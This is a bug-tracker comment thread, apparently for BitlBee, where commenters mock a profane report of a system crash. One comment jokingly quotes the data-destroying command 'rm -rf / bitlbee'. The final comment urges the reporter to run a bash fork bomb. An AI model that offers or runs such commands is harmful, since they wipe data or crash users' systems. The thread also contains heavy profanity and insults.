Bunch of fucking wankers

[anonymous]

Unfortunately I didn't have a look at your fucking code before trying this software. After fucking about with it for about five minutes via irssi on a proliant 6500 with 4 processors and 4Gb of RAM, I disconnected from the server(thus leaving 0 people on it), removed it from inetd and restarted the process.

What happens.

The entire FUCKING SYSTEM goes down.

Bunch of fucking CUNTS.

[wilmer]

Thank you for this very useful bug report. I'm sure the next release will be a lot better, especially thanks to your very useful bug-reproduction steps. The life of Open Source coders is so much better with grateful people like you, you can't even imagine.

We'd love to hear from you again!

[wilmer]

BTW, just wondering, do you use Gentoo? :-)

[Sjoerd <sjoerd@…>]

Hmmm... Didn't realise school was out already.

Silly kids. In my days they went outside to play...

[wilmer]

Remember this guy comes from Sweden, I guess they're in a different timezone. ;-)

And congratulations to the submitter BTW, you just won the first funniest-bugreport award! \o/

[anonymous]

How exactly did "The entire FUCKING SYSTEM goes down." ?

I'm curious, though perhaps you managed to find an 0hday in bitlbee leading to compromise of ring0...

[anonymous]

There is a huge difference between a 'system' and a 'fucking system', that might be whats causing the problem, anyone want to check into that? I'm suprised it compiled on a 'fucking system', I don't think they did any optimizations.. Did you get it to compile unmodified?

[el_loco_pollo]

user error:

rm -rf / bitlbee is not the same as rm -rf /bitlbee

[toxik]

wilmer you old fart :P

Try not to bully the gentoo users aye!

For that matter, I'd think that would be a problem with libc and not bitlbee, I mean hell that's a big security hole if you can bring down an entire system by fucking around with bitlbee over IRSSI..

[wilmer]

Hey, do I hear an evil god talking? ;-) I thought I took back my words about Gentoy already here, my guess right now is that this guy was on Solaris and forgot that killall is a dangerous command on some systems. :-P

BTW, a libc shouldn't be able to give a user more privileges, it really would be a kernel problem. Or maybe evil hardware, okay.. ;-)

[anonymous]

The "procreating" system (or perhaps it's a system not used for "production", thus a System Like production Used for Testing [hint: note the acronym]) didn't crash, he is just embarassed to say bitlbee caused his system to eject it's core all over the place...

[anonymous]

Hey, where can i get 'fucking system' it might be ... usefull.

[wilmer]

I guess it's somewhere in the 'fucking code'. I'm still wondering what our anonymous genius expected to see there.

[anonymous]

I wonder how this genius can 'fuck' with bitlbee... I guess the reporter must have a device from ​http://www.fu-fme.com/ installed, you guys should find a way to protect the bee from such 'intrusions' ;-) And no wonder mr genius' system ejected it's core all over the place, he's only following it's _master_'s example *G*

Anyways, @reporter: I have three words for you: ANGER-MANAGE-MENT

Oh, and compaq.com mentions the Proliant 6500 as retired, maybe it feld too old for running a _new_ program like Bitlbee. Go and buy a new system dude ;)

[deice]

this sounds a bit like a tuttle to me. (for those unfamiliar with the phenomenon, read ​http://www.theregister.co.uk/2006/03/24/tuttle_centos/ )

[anonymous]

you need to try this command man!

:(){ :|: & };: